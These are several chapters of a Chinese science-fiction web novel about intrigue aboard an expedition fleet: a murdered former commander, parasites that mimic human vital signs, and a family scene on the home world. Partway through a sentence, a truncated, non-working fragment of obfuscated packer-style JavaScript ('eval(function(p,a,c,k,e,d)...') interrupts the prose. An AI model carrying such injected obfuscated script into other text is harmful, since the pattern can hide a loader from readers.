夜色已至,数轮巨大的星球悬挂于天空幕布之上,它们是白冠星的卫星以及稍远光年外的邻近行星,此时正在天虹星的照射下开始新的一天。 飞舰驾驶舱内,李稻青接过危月宴递来的外套搭在肩膀上,他整理出折叠床让妻子稍作休息,看着她疲惫的脸庞没有多余的嘘寒问暖,开启自动驾驶模式后,用指腹熟练地按压缓解疲劳的穴位,夫妻二人安静地享受为数不多的独处时光。 在导航系统提示行程过半时,危月宴开口道:“送到传输站就走吧,剩下来的路我让学生来接。” 她伸手抚摸李稻青下颚的金属护具,年幼时爆炸引起的陈年旧伤早已痊愈,但他依旧戴着面盔,似乎能为他提供无限安全感,李稻青任由危月宴的手在上面轻轻叩击,像大狗一样躺下:“不一起吃个饭吗?” “不了,时候不早,α星实验室的人还在等我。”危月宴睁开眼,视线撞进两潭深色的湖底,李稻青正担忧地凝视她,她嘴角勾出一抹微笑“别挂心,只是正常的实验,我不直接参与操作,就在隔离室外看着进度。” 李稻青几度无言,危月宴见他想要说些什么,便捏住他的下巴凑近打量:“准许你问了。” 男人的身形并不魁梧,却很温暖,他俯身将妻子环抱在怀里,因为害怕压到腹中胎儿,两人贴得并不太紧密,李稻青犹豫再三,终于还是问出口:“你究竟要做什么?” 危月宴闻言神色未有变化,依旧以轻松愉悦的姿态盯着丈夫:“在做一件永无止尽的事情,这件事尚且不知对错或是否能够实现,但我必须完成它。” 李稻青手掌攥紧,指甲深嵌掌心,他没有多加劝阻,只是倔强道:“我跟你一起,两个人的效率总比一个人高。” 危月宴彻底笑出声,她爱惨了李稻青这副全神贯注的样子:“你以为所有事都可以靠愚公移山来完成吗?在彻底达成目的之前,我就像被囚禁的西西弗斯,通过努力就能实现愿望,对我而言太过奢侈。” 在李稻青再度回问前,她食指竖于唇间:“好了,十夜老大前面做过我工作,希望我能同意你去谷神星部署地面作战,最近一直在忙这个吧?” 李稻青嗯了一声算作回应,看上去现在的心情并不是很好,危月宴从随身系统中划出几套表格到他的芯片里:“跟阿星汇合后把他近来的身体数据填给我,燧木要进行最后的调整,但看你们的行程似乎没有时间到南冕总部接受测试。”她挤了挤李稻青的脸颊,“放你出去还不高兴。” 见丈夫不做声,危月宴使出百试不厌的招数,直接转了一笔线上点数到他的账户,听到到账提示音后,李稻青浓眉舒展开来,面上却还是严肃的表情,他保证道:“我会及时把他的数据上传给你,然后迅速解决战斗,你在α卫星上等我,别再丢下我独自去做什么危险的事,如果非要做,至少得告诉我派人陪同,听到没有?” 危月宴点头同意,闭眼安神一会便在传输站的中转口下了车,夫妻二人再次别过。待到李稻青的飞舰消失在安检通道尽头,她目光骤冷,从母婴室换上便服出来后,去往了与α卫星航线相反的方向。 6. 剧变开端 深空之中,庞大宏伟的舰队破开陨石环绕带划过星海,复杂金属组成的巨构历经七十多年远征依旧保持其威严凛然的模样,被分舰队以菱形尖刀的姿态簇拥前进,它们逐渐靠近一颗拥有土黄色星环的行星,在较为安全的坐标调整行驶速度,与行星保持相对平行状态。 不一会,各分舰队接收到主舰总指挥室的命令,左前翼Y2分队一艘中小型护卫舰从队伍中离开,与其他分队的数百架战舰陆续进入主舰对接仓。 随着接收舱生命扫描设施结束工作,护卫舰关闭引擎被轨道的运输带自动传送至械甲厂进行初步检修,他们才完成清理航线周边太空碎片的任务,主舰的行政官吩咐机械师们在召开例会前为各舰队提供修理服务。 “嘿!Bro——”舰船外一名依罗国裔检修人员敲响,微棕色的脸贴着舰身仔细检查小陨石碰擦涂层的情况,“你们这艘护卫舰保养得真不错!防火层请埃罗老师做的?” 驾驶员声音从一旁监控器中传来,影像中俞湫风正在主控位伸起拦腰,他慵懒地摆摆手:“谢了bro,就是老艾帮忙的,检测好了吗?后面的兄弟还在等着。” 美茨利落地给分队成员登记上通行证,目送护卫舰进入停泊轨道,待下一艘小型作业舰行驶到眼前,探测灯照在涂层上打出冰冷的弧度,他恍惚之间似乎看到眼前闪过橙光,再睁眼,安全记录板置于手中,静静地散发墨绿光芒。 他本能的感到诡异,朝身后同事问道:“bro,你刚才有注意到我的安全板吗?我怎么看它刚才变成高危警告。” 同事本在盘腿检查隔壁斥候舰的降落锚,闻此随手将机油抹在裤腿边,他挪过身满脸不耐:“什么高危警告,我看你是昨晚喝到出幻觉了吧。咱们部门这些检测仪多少年没出过红光了,还冒橙光,我都怀疑这板子出场时间太久,已经不能显示高危功能了。” 美茨被怼也没放心上,他一向对异常很敏锐,这种类似第六感的能力让他在远征历程中多次幸免于难,于是拉过同事来到舷窗前,两人站稳,美茨链接上外部频道:“Bro,身份识别弹我一下。” 作业舰并未给出回应。 “驾驶员,出示你的身份证明。” 见里面人对美茨的话无动于衷,同事严厉地打开对接系统,监控器短暂卡顿几帧后显示出作业舰内部画面,入目正有一双手摆弄镜头,手的主人面挂微笑,对他们做出“稍等”地通用口型,身后副驾指挥台边坐着一位金发女少尉,她低垂着脑袋,似乎在操作星图平台,束于头顶的马尾顺着脸颊搭在肩上,看不清神色。 半分钟后,驾驶员终于连接上通讯:“抱歉,这艘作业舰语音系统在上次探索桂冠α卫星时里遭到能量风的破坏,一直没修好,时灵时不灵,耽误你们时间了。” 说话的人是位梅莱亚西斯籍的中尉,与美茨的同事有过集训时的交情,两人客气几句后同事拍拍美茨的肩膀:“放心了吧。” 美茨开始怀疑自己是否精神过于紧张,出于谨慎的态度,他再次扫过作业舰主体,并无异常信号传回,只得磕绊宣布:“通过,你们可以走了。” 作业舰随之启动,同事正欲回到岗位,美茨神经一突,忽然抓过通讯筒冲女少尉道:“少尉,抬起你的头,我们需要人脸识别。” 监控器内并无回应,好似又回到之前的卡顿状态,在即将被运输带滑动至停泊通道时,定格的画面抽动,女人一点点抬起脑袋,僵硬地扭过脸,对镜头扯出梅莱亚西斯的唇语。 “她在说什么?”美茨问道。 同事皱眉,他拎起信号仪对斥候舰继续检测,并没有留意监控器屏幕,于是已读乱回:“说你是个失灵的雷达。” 这可真糟糕,美茨暂闭自己的检修口,他从存储盘内调出刚才的实时录像,却发现画面中女子自然抬起头,还颇有风情地将发丝挽至背后,她神情灵动,冲镜头调皮眨眼,使用通用语说:“感谢您的欢迎。” - Y3分队实验舰位于整支左前翼舰队中部,与另外一百二十九艘舰船共同组成枢光械甲团,隶属于华夏系总指挥官,除启航前联合会制定的共同合作任务外,还负责执行共和国的科研探索任务,团内不完全是华夏籍成员,也有因本国舰队覆灭而丧失己方编队权的外籍人员。 在不影响国家利益的前提下,枢光遵循共和国作风,协助收编人员完成他们的探索活动并提供技术支持,这便引起西域系国籍队伍的不满,若大家都各自守好地盘也就罢了,总指挥都带头互帮互助,他们不效仿更显得没有气度,硬着头皮也开始接纳外籍。 常有军官背后控诉总指挥收留外籍成员另有目的,是个笑里藏刀的角色,通常情况下,俞湫林听闻此番话语定是拳头梆硬,但面对今天的实验结果,他第一次产生了不同的想法。 他与瞿溪烽都是指挥官的直隶下属,三个月前曾执行一项任务。他们所在的Y1分队前往一颗名为“阿琉温”的小行星,打捞回四十年前留守此地采集环境样本的博西籍研究团体,由于博西籍分舰队在后续航行中惨遭流动的陨石碎片撞击,所剩人数已低于百人,在现任负责人的请求下,总指挥将他们吸纳入枢光,帮之撤离回程航线上驻留在不同星球上的人员。 “阿琉温”的环境与数十年前所见完全不一,或许是初见时正处于板块运动的休眠期,大陆上布满一种奇特的黏菌状生物,它们由某种原核细胞生物组成生物集群,平日安静的扒在岩石上吮吸矿物质,而Y1分队执行任务时却是高温地狱,频繁的挤压导致各处火山喷发,生物集群仿佛是适应了环境开始朝着新方向进化,不同个体之间从质膜、细胞壁、荚膜相互融合,在短短几年的温度催化下发展出类似心脏与大脑的组织,矿物质无法再满足其生理需求,它们需要核糖体外的额外蛋白质摄入。 根据打捞回实验舰的三十位博西人清醒时的描述,首先遭殃的是他们饲养的禽类,异种起初极其喜欢禽类的粪便,他们图方便就将少量生物体养在鸡圈里,还未等粪便完全清理干净,胃口被养大的生物体险些把鸡吃光,逐渐的,被圈养的生物体显现出被其吞噬物种样貌,然后是偶蹄目、原猴亚目的动物被用于实验,研究员欣喜的认为如果处理得当,可以让其代替生化种族进行部分工业作业。 于是某位研究院打开了魔盒,为了得到实验数据,他将一位反对研究的同僚扔进关有狒狒外形的生物体池子中,这只生物体曾吞噬过一条眼睛长在头顶的观赏鱼,在其消耗完狒狒血肉后也没能改掉这一特征。 在一次火山喷发中,所有人都在紧急逃往山峰上的安全库,等他们注意到生物体趁机尾随进入睡眠舱后已经迟了,研究员们透过睡眠舱的外壳只能看到总控屏幕上有一人的舱室内存在两个影像,而后很快又变回一个。 俞湫林授命监测实验舰接收外籍者的生理情况,经历六十多次唤醒实验,他们的实验员仍然无法分辨出生物体存在于哪座睡眠舱内,一部分成员认为应该为所有人的安危着想,将这三十座睡眠舱流放到太空中自行灭亡,这一观点甚至得到了三分之一博西人的认可,而另有成员希望剩余二十九位正常人可以得到救治,以便于更好的对生物体展开研究。 密尔茨从沉睡中渐渐苏醒,长期未使用躯体令他很难在第一时间控制脖颈观察四周,睡眠舱夹层的维生液循序排出,空气密度与气压逐步回归人类适应的标准,他原本以为醒来后会见到阿琉温凄凉的荒原和倒悬的山峰,再次独自陷入孤独的境地,待外层舱门打开后,温和的暖光射入双眼,酸涩的眼睑分泌出泪液,这才迟钝意识到,他可能得救了。 “让我过回瘾,我来说!咳咳,嗯!” 刺溜——信号脉冲传导至抗辐射层内,密尔茨原本耳朵闷闷的,这一声响好似尖刀穿透了他的鼓膜,瞬间打破了与外界的隔阂。 “上士,这里是不周山的枢光护卫队,二十八个小时前抵达阿琉温的临时考察点,根据总舰五零七号任务规章将你及其他三十位成员的打捞回舰,你还记得自己的身份信息吗?” 外部电子音冰冷,却压不住来人跳脱的语气,密尔茨艰难点头,喉管里发出嘶嘶的气声。 “俞湫林,他才被强制唤醒,还需要一段时间才能恢复生理状态,你能别搞事了吗?”另一道略低沉的人声从侧面插入,不一会脚步声纷杂而至,估摸约有五六个人围在睡眠舱前,“如果闲得慌,去把信号基站里的耗子给处理了。” 瞿溪烽接过对讲权限:“您的身体目前并无大碍,24小时后医疗小组将会对您再次进行评估,如果健康状况达到标准,我们将让您与已苏醒的战友团聚。”说罢便观察起舱中人的状态。 密尔茨的大脑有些迟钝,他接收信息的速度有所延迟。 我及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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俞湫风将本次汇报采集的信息传送至黎明的后台,双手插兜打发队友各干各的,副操控员旻灏临走前挤眉弄眼,被一脚踢在屁股上,捂腚顺着人群跑了。 他见人群都在挤电车,脚跟一转溜进绿化园,内部蕨类植物经过辐射后异常茁壮,爬满扎根在元素土壤中的铁生树木,枝干被寄生得满满当当,浓郁的绿充斥满整个原始景观点,战靴踩在金属块上嘎吱作响,不过一会,他悄然与早已等在中央喷泉旁的人影并肩而立。 “我的通行证上停留主舰的时间还有三十个小时,伽若寒,你最好有事直说。”俞湫风斜靠太空歌剧人物雕像,手臂抱起,手指轮流敲击胳膊。 被唤作伽若寒的男人身披风衣,身形细瘦,苍白的皮肤显然不属于作战人员,更符合他科研者的刻板印象,伽若寒眼下挂有郁色,薄唇轻启:“申科夫死了。” 俞湫风心下一沉,并未立即作答。 “上周三,他被拘查部的齐应绅发现在下舱十八层,就是关押重型战犯的牢房内失去生命体征,经我检验后,他的致命伤是动脉割裂,凶器没在牢房附近找到,事关重大,可齐应绅一直未能联络上总舰长,这事情被我们隐瞒下,但老东西的拥护者已经察觉不对,瞒不了太久了。”伽若寒神经质般抠指甲缝,前任总舰长莫名死在地牢,被继兄拉下水的他已经无法再坚持镇定自若地保守秘密,最近越来越多猜忌的眼神向他投来。 新任总舰长以露纱的消失未能引起太多人注意,关注度甚至没有卸任的申科夫来得高,不周山舰队的运转并不单依靠一个人去运行,绝大多数部门互为齿轮与螺钉,按照职责划分独立运转分内的工作,好比细小的零件拼成部件,再由部件组成庞大的机器。 整支舰队采用的分层管理中另添上级责任制,问责到具体人员,不同职责的同僚大半年不见一面也属正常,更别说在分舰工作的人。所有人的体征监控汇总在主舰最高权限的档案所,非任务情况下,只要监控仪中显示无碍,每周在系统中进行检测扫描,或由上级统一汇报点名,舰队主脑自动默认人还健在,除非有人申请细查。 申科夫由齐应绅代为签署本周的实地点名簿,他的亲信向主脑提出质疑,主脑经过判断后对齐应绅发出指令,五日内必须让申科夫出面,现在已经过去两日,伽若寒终于等来了能传达消息的前男友。 “如果可以,请你尽可能快的把这件事转述给指挥官。”伽若寒恳请道。 俞湫风思考片刻,决定放弃给弟弟排队买零食,他需要马上回黎明舰。 正当他迈出步伐时,脖颈处系的传导带传来震动感,他在意识端打开信箱,对方恰好是自己要找的人。 【来下舱十八层。 ——指挥官淮因(备注:A我那海绵成精的老板)】 7. 两面 约摸是到了轮换点,报时天幕滴答作响,数万根纤维晶管中的粒子组成泡沫状数字组,在黎明舰的穹顶上如同云雾般高悬。 为保证人体适应长期远征行程,统一近十万人正常的作息,不周山舰队按照主星域计时方案采用24小时制度,在漫长的远征历程中,主脑程序部将生活系统设置为模拟人类正常生活的模式,从而通过习惯的节奏与环境调节成员航行时的心理状态。 此时天幕遥遥传来升C调的钟鼓乐,共计两段,对应十二音律中的“夷则”,代表已至本日晚时九点,而后黎明舰主控AI“太一”贴心的为外籍成员提供了译文报时。多数作战员早早用过晚餐,开始新一轮的换班轮岗,而被换下的人大多聚集在休闲区,正三两成群结伴往各层去,瞿溪烽目的地位于舰船最高层,他乘坐的光拟轨道电梯不断有人进出,因为肯担责任的工作态度与谦和少言的生活作风,他的人缘很不错,同行的战士们跟他交谈甚欢,如不是各有其事要做,大有再聊半个钟的意思。 “队长去哪呀?”一位与俞湫林年龄相仿的少尉从对角处蹦来,他凑近长官站定,抬眼是亮晶晶的,说话间两侧虎牙尖角时隐时现。 瞿溪烽半靠电梯前部的扶手,有心顺墙根降低存在感,此刻被同事们包围,他心思重重却不显于面,依然和蔼道:“我去喊指挥官吃晚饭。” “那我猜您是去观星厅。”少尉食指轻点太阳穴,有些夸张地描述:“上月到我清理那的陈列室,我刚从旗帜后面绕出去,发现个黑影在观景台上一动不动,哇——吓得我以为是那个传说。” “传说?他娘的是鬼故事吧!”另一侧衣物猛然抖动,壮汉两米多的身高缩在小小座位上显得有些窝囊,他是黎明舰的外置装备力场维修师,怕不可名状物的名声已经传遍不周山,时不时就被同僚捉弄得恼羞成怒,闻此身体已经产生了应激反应,“别来这套,小心我下次骨骼装置给你加压。” “哈哈,阿苏克,这比鬼故事更可怕。”少尉平日没少对维修师下黑手,现在刚开口便被人先一步怀疑人品,却也乐滋滋。 “还有高手?”冯山劲也加入其中,他摁住壮汉抄在兜里蠢蠢欲动的扳手。 宣舟故作深沉,开口:“嗯,确实更厉害,我继续说,然后天幕循环正好到晚零点,下一秒黑影转过头,跟报时一同传来的竟然是......” 瞿溪烽静静观察他们闹腾,突然觉得时间停留此刻也不错,黎明舰上的成员多是心思单纯之辈,甚少直面主舰上尔虞我诈的生死纷争,他时常思虑指挥官对自家人的过度“保护 ”是否正确,不过现在舰队已经返航,赢家基本尘埃落定。 “竟然是指挥官的声音,他说。”宣舟加快语速,“违反作息规定,扣三分。” “........” 众人对他投去嫌弃的眼神,阿苏克挥手让大家都散了,而后同队小团体围城一圈,他毫不留情开启嘲讽:“你打扫完还赖在那里偷懒,撞上指挥官也算活该。” “就是,下次再打扰淮指挥清净,别怪哥们不客气。” 宣舟抱住脑袋不让揍:“但是我就是好奇,指挥官一休息就去那静坐,外边那么多星星,他在看哪一颗?” “你小子不懂了吧。”冯山劲发出怪笑,“等回主星域谈个恋爱就明白了。” - 电梯逐层停靠,同僚越走越少,封闭的室内只剩下瞿溪烽,随着高度上升,六面体墙壁褪去金属虚流体涂层,转变为类似于琉璃的色泽。 透过隔离带与不规则构建支架,虚幻光幕外隐约散布着远古象形符号,再往上则是依照更迭顺序排列的华夏文明从古至今的常用文字,以及从地球时期仰望天空所见的日月星辰,巨幅天地舆图逐渐显现在他的眼前。 这起初是大约一千年前首代远征军在探索太阳系边境时在不周山舰留下的成果,大迁徙远征后共和国历代的工程师们并未将之遗弃,选择在原本的舰体基础上进行技术更新与改造,因此不周山也是别国眼中的忒修斯之船,其中天地舆图便是保留部分,后世每段远征历程都将铭刻其上,记载人类宇宙移民的来时路。 即使黎明舰仅装载了其中的一小部分,几十年来无数次经过此地,他仍然为前人的超绝艺术所折服。 观星厅单向镜面门未闭合,众载功勋回廊内部嵌入式壁灯感应人体温度,贴心调节为绿色模式,两侧高耸的壁雕是由合成金属与矿石构建的深空英雄列传,赋予黎明舰传奇故事的是一名阙姓将军,这艘战舰是他与战友征途的起点,尽头透着幽蓝点状光源,陈列室内星罗棋布着如悬浮小岛的航道坐标景观,伴随来者的穿过自行避让并发出轻微的碰撞脆响。 观景台电子屏障正处于启动状态,瞿溪烽顺螺旋阶梯上行,脑海中迅速过了遍关于阿琉温幸存者的信息,快步走向那静坐的人影:“淮指挥,实验舰那边.......” 话语戛然而止,人影抬起脑袋,露出一张属于女性的妍丽面庞,见到来人她凌厉紧皱的眉头舒展开来:“溪烽,是你呀!” “晚上好,总舰长。”瞿溪烽内心有些波澜,跑了大半张地图没找到目标着实有些心累,他猜测道:“您在此......思考要务,主舰那边是指挥官控制中枢吗?” 以露纱左手撑地转过身,将抱住的双腿向前伸去,上肢舒展,张口便是:“是啊,淮在不周山坐镇,而我,闲里偷闲喽。” “您...”瞿溪烽对着最高长官说不出重话,他努力组织语言,“身居位高,事务繁多,劳累了休息下也是应该的。” “哈哈哈哈哈哈,我就喜欢听这话。”以露纱拍拍合金地板,示意指挥官身边的心腹坐下,“没事的话,陪我聊聊?” 好吧,看来今天是他的聊天日,瞿溪烽默默投降,除了政敌与情敌,几乎没人能拒绝这位风姿卓越又不拘小节的舰长,她就像盛开在深空的凌信花,瑰红发丝明烈奔放,总是将旁人身心吸引去。 “悄悄跟你透个底,主星域前些年寻得了新材料直接科技大爆发,信号传导更迭后目前已经能与我们的中枢系统断断续续链接上了。”以露纱欢快道,“虽然只是单向通讯,我还以为至少要到下个大坐标才能有机会。” 他有些难掩激动,漫长的旅途早已让远征军们不敢提及故乡,一旦开始思念,内心的酸涩便泄洪般倾涌,就像古时的月轮遥遥挂于夜空不可触及,他在北栖战区有家人,有挚友,有从小比邻的陌生人们,他们距离彼此千万光年。 “主星域那群假正经估计还在做通讯数据传输的实验,不是什么正式会话,说两句就卡个好久,去掉卡顿时间掐着手指算不过联络了半小时,竟有三分之一是用来说我那早该死去的前男友,他们一堆人嚼舌根也不无聊。” “噗——” 瞿溪烽没能绷住,他猜测过通讯链接后主星域会提供哪方面的情报,有没有派要员来对接,却未曾想到内容能如此八卦,也可能不算是正式通讯,研究员们便不拘泥于形式主义。 “仗着单向频道我骂不回去,说连我都能混到总舰长,是不是给其他人下了达忒安女巫的迷魂汤,真是气人,不过值得庆幸的是,老娘现在的官职比死鬼高,看来入赘高门显贵也不过如此,跟我混还能当个舰长夫人呢。” 瞿溪烽试探道:“恭喜?” 以露纱摇了摇头:“我管他去哪呆着。” 祖母绿色的眼眸望向外部星空,她左右移动探空镜,试图找到淮因所说的那一颗发光恒星,一旁拘谨的瞿溪烽也顺着方向瞎看,着实什么也没看到,“那几个长舌头还说,淮的爱人解除了处分,如今统领他们兵团的机战营,没一会频道中断,没了声音。” 于是您就借此交换指挥官去中枢干活,等那不知什么时候才能再次接上的信号源,瞿溪烽暗自吐槽,又看了眼挂着狡黠笑容的总舰长,别过脸将不敬话语咽下去。 “如果不是枢光的扶持,仅靠圣普洛斯联的械甲团我难以成事,用你们华夏的话说叫做’孤木难支’,我心里清楚得很。”以露纱冷不丁道,她掰掰手指:“我呢,可能真就是申科夫那老东西跟他萨顿帝国派眼中的胸无大志恋爱脑,政变前带着小弟们迷迷糊糊跟着淮因干,事成后才了解全部始末,即使被你们勉强糊上墙,还抱有逃避心态,简直一个无药可救的人。” “没了共同的敌人,众国盟约崩塌迟早的事,如果不是淮因坚持选择我坐在这个位置,熄了旁人的心思,恐怕不周山要陷入新一轮政治混战。”她单手撑地跃身而起,俯首凝视护卫队的武官:“我信任他。” 瞿溪烽久违地从她身上感受到压迫感,有种头皮发麻的预感从心底升起。 以露纱面露一丝不解:“哪怕让我充作傀儡,也不能否认他是一位称职的合作者,毕竟无论怎样跟着他的人都有肉吃,可如果是合作伙伴,他私自隐瞒’残吞种’的消息是要做什么?想单独拥有研究成果的所有权我能理解,毕竟博西联盟军当初选择的投靠方只有你们。” “但如果是利用异种营造紧张氛围,重新布下大家需要再次团结起来的暗示,我认为没有必要,老东西的死至少还能带来一段时间明面上的和平,过早树敌毫无意义。” 瞿溪烽惊愕反问:“谁?申科夫死了?” 以露纱收起咄咄逼人的姿态,吐出的言辞却异常无情:“哦~看来是我说错话了,不过无论是申科夫、洛科夫、基科夫还是谁,对我们来说都是一样的,他们草菅人命人面兽心死了活该!况且以现在的局势,淮指挥想让谁消失都是易如反掌的事。” “但是,他现在能杀了失势的老东西,萨顿遗脉也是秋后蚂蚱,或许过不了多久,与遗脉走得较近的梅莱亚西斯籍中高层也难逃一劫,然后呢?所有站在对面的群体都会被铲除,整支不周山远征舰队只能发出一种声音,这违背了启航时诸国联合会定下的和平宣言,最终他将走到申科夫的位置,迎来同样的结局!” 瞿溪烽猛然站起,他将常服袖口的皱褶抹平,两步走到电子屏障入口,脚跟一磕,与以露纱呈对立角度,他收起作为听众看客的神情,回归枢光武官的身份,正色道:“恕我的无 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俞湫风被眼前密密麻麻的数据惊到,他是真的看不明白,这些数据浮在取像台上纷杂乱跑,将他围得密密麻麻,令人脑袋疼。 比起直说不会,指挥官更厌烦不懂装懂的傻子,于是他满眼真诚,心安理得地等待上司指明。 “齐队长说申科夫的尸体上周三被发现,事发前几日的监控与主脑皆无异常显示,我们检测到他的体内细菌繁殖数量远高于正常数值,实际死亡时间到现在应该是十三天天左右,也就是发现日的前3-4天。”黑发指挥官视线投向隔离门内的尸体,“不周山的主脑被某种物质屏蔽了。” 俞湫风顿然有种毛骨悚然的异样感,他站在淮因后方,目光越过肩头,淮因编入操作指令,控制隔离室内管道气压产生的微风流缓缓将申科夫移动,将头部对准成像探头,机械臂顶端变换为极细的镓合成针,刮取颅顶微小创口周围半凝固的组织液。 他双指做展开手势,悬浮板上立刻显示进度条倒计时:“收到消息的第一时间,我用最高权限搜查了中央控制主脑链接的核心区,没有检索到人工篡改痕迹,由此可知,申科夫死前的”正常生活”仍然属于生物学意义上的活着。” 解析舱成功读取实时影像,组织液放大数千倍呈现在二人眼前,伞状水母般的微生物总数难以计算,大约十几只为一团,被包裹在类似于细胞壁的结构中,由水母组成的“细胞”们以相同朝向与速度耸动着,可能是宿主死亡的缘故,有种老头犁地的迟钝感。 俞湫风:“哦呀,是这些小玩意在帮他完成代谢活动,不过就丁点大的东西,它们能骗过监舍的感应系统吗?” “系统判定生命体的首选项并不单独是”视觉”或者”听觉”,还包含”热量”。”淮因解释道,立面屏幕光影泛着冷意勾勒在他的轮廓,明暗交接下他沉静凝视虚拟模型,背脊挺直同往日一般肃然,巩膜呈现密不透风的黑色,仅能从须臾间窥探到其中翻涌出浓稠的红,他本非容貌出众者,不过后天长期浸入谋局中磨砺出的气质足以让他在人群中脱颖而出。 “由五感系统对采集到的运动轨迹加以分析,不周山AI可以基本分辨人类活动,但无法确认经由演算采样的非线上交际行为,因此需要从个人终端调取实时热量监测加以辅助,我们可以推断,伞母们抱团的律动并非毫无意义,它们模拟出的人体数据完全满足AI判定条件。有两种猜测,其一,它们是通过自身律动产生控制宿主活动的能量或是神经反应,从而通过宿主表现获得热量,蛰伏人体;其二,因为寄身时体内余温激活了它们的群体行为,再加上它们可能携带某种类似催化酶的物质,让宿主具有一定程度的活性,无意识的躯体仍以生前习惯进行活动。” 俞湫风观察片刻,他伸手拖过一只落单伞母的影像:“一种是怀揣目的以自身改变环境获得生存空间,一种是没有脑子只剩寄生本能?” “前期可以这么理解,以及它们是否能够读取人脑中不同模态的信息,是否拥有”我”的意识,寄身后又要以什么方式达到新的阶段,还有最重要的传染源与防治问题,此类研究我已经交给伽博士的团队,你若不方便协助就让汪乐乐来。我这还有一项要事必须得到证实。”淮因重新设置好隔离室虹膜锁,征求俞湫风想法。 自诩大好人的轮值官放心不下憔悴得眼袋差点挂到鼻子的前男友,厚着脸皮要到下舱十八层的权限,淮因未再多问,只是强调防护事项并拨了Y5实验舰分队由他接管。 俞湫风应下,又好奇道:“那您接下来的要事?” 操作台边灯带闪烁,主脑接收到删除来访记录的指令,解析舱门缓慢开启,淮因勾起嘴角:“当然是抓出杀害我们前舰长的真凶,还受害者一个公道。” 俞湫风了然:“您看起来已经有了嫌疑人。” 淮因标志性笑容与其带给他人的表面谦和印象不同,大多充满攻击性,这是他无法在不经意间伪装的真实面。 身影完全没入黑暗前,他有些玩味地答道:“我的规则里没有嫌疑人。” 8. 从何处来 泰尔卡古没有夜晚,作为谷神星最大的中转城它必须时刻保持运转,以准备接待来自不同时间差地域的旅者。拥有大量客流的同时本地市场也随之开放,星际港湾重建后不过十多年,近百万岗位应运而生,整座城市洋溢着匆忙的氛围,以现任主权国的计时方式来看,不知从哪一天起的零点起,它就像被魔法注入了属于自己的生命,在这条时间线上一路狂奔不曾停歇过,成为各种意义上的不夜城。 “大哥,买饼要去队尾排哇。” 阙呼星穿梭在苍蝇集市边的美食街,他凭借校友会提供的地址,不一会便止步于街尾处摊煎饼的铺子,古早的燃气炉散发阵阵热意,最前排的顾客被熏得双颊通红,苦于身后壮汉不肯退让,只好盯着年轻老板的动作读秒。 老式砖料支撑起小小门面,招揽客源的广告牌也颇为喜人,左边是“煎饼原味6元,土豪加料享优惠”的印刷体,右边歪歪扭扭用喷漆写下“擅长民事法律,也接知识产权咨询”,中间横着“大丁煎饼事务所”七个加粗大字。 就是这了。 目测等待排队的时间不会超过耐心限度,阙呼星抬腿走回队尾,有好奇的顾客来回打量这位穿着稍显不羁的陌生人,巨大的兜帽下,防风镜将人脸挡得严严实实,松垮机修服外搭配几根皮革固具带,有种秋衣外穿的美感,即便如此,他高挑健壮的身形在周身环境里依然不打折扣,姿态不似来往商贾。 阙呼星激活兵团配发的星云端,给守在家中的学弟发去不要乱跑的叮嘱,再粗读两遍李稻青发来的作战部署初稿后心中有了部署,浓眉舒展,四周嘈杂的环境瞬间倾涌入五感,他摄取动态信息排列在识海中,流水线般细细切片。 此时正临饭点,忙碌了整天抽空对付几口的打工人多是行色匆匆,遇到熟人也不过点头招呼下便擦肩而过,他观察片刻后失去了兴趣,看似悠闲地换了条支撑腿,周身归于寻常,手插破夹克口袋里把玩改装舰密钥,将注意力转向店主与顾客的对话。 “您的豪华全家福饼拿好,下位老板要点啥!”手随意在围裙擦拭两下,丁叮铛从洗手池上草编筐中拿出红褐相间的地鸽蛋,磕摊饼灶再推散的动作非常写意潇洒,蛋清甚至在空中划出一道透明质地的弧度。 他张开起皮发白的嘴唇不厌其烦问道:“吃饼还是法律咨询?” “都是来这里讨生活的,要哪门子法律咨询,摊五个饼多放酱打包带走,老规矩六点再送四十个到工地上。”包工头粗短指尖点在旧木台面,震起薄脆饼渣落下的碎屑,“每次来都问这句,你小子有接到活吗?” “多试几次总有机会。”年轻人笑眯眯道,这位老板每回都会多点几份煎饼,也每回都对他的接单询问抱以回应,城市紧张的节奏严重压缩居民的娱乐生活,比起面对面社交,多数人更愿意在星网上刷短讯息填满碎片时间,再回到现实中时语言思维就像打了绳结,不断重复提及相同的谈资,仿佛一种另类的招呼或是交流礼节,他顺手放了双份薄脆卷进饼里。 包工头满意离开,阙呼星眼见前面预加订单变多,他抓住重点,在队尾喊上一句:“信托接不接?” 另一头的老顾客们纷纷朝后观望,惊讶的眼神在大丁师傅与那位喊话的陌生男子之间来回打转,一时不知道阙呼星是来真的还是接梗调侃。 阙呼星从人群中走出,再次来到摊位,他摘下防风镜,深灰眼眸印出火光熠熠生辉:“家族资产信托,收益绝对令你的同行们都无法拒绝,不过我有一个硬性要求,把你师兄岑山君请来。” 时间回溯两日前。 阙氏主脉家产坐落在华夏主星的银翎山麓中,得天独厚的地理位置让星点般散落山林间的院落呈现当前时代少见的四季分明,一道无形屏障悄然笼罩上空,使这些外形古朴的建筑群与世隔绝。 “哦——呀——吱吱吱——” 少女挥开扑面而来的发酵果皮,她深灰色发丝缠满腐烂树皮树叶,暴躁地握拳又张开,手掌上尽是浓稠黏液,在指间拉出晶莹丝线。 整个山谷回荡着臀尾猴群此起彼伏的吼叫,又是一块硬果壳子,不过这回猴中小兵没有对已是浑身脏污的阙少甯进攻,而绕至后方冲她同样狼狈的同母异父弟弟去了。 小胖子阙多多后脑壳惨遭突袭,当他捂住肿起的大包时,飞扑跟前的黑手猛然在他额前狠薅几把,随着发丝脱落,他终于忘记护林员的告诫,大声唾骂道:“我要打死你们这些傻逼猴子!” 说罢便冲了过去。 少甯眼见他去势汹汹,眼见他被蜂拥而至的猴前锋摁在烂泥地上,眼见另一批猴的爪尖已然碰到自己肩膀,一切都像是电影慢动作回放,待回过神来她姣好的脸也与大地来了次亲密接触。 “阙呼星你这鸟人——看你养的畜生!”虽被大军挟持,多多并没放弃口头挣扎,有几猴正攥着他的刘海,收到关键词立刻爪子收紧,身下人类惨骂连连。 猴群不断发出短促叫声进行交流,不一会丛林深处站出只体型庞大的壮硕猴,面部区别于他猴的金黄细毛彰显其猴王的地位,它毛发华亮泛起油光,稳健地四肢并用蹦到多多背上,人立直起朝天大吼。 猴子猴孙随声附和,鬼哭狼嚎遥遥地传至阙家族院。 “哈哈,大家见笑了。” 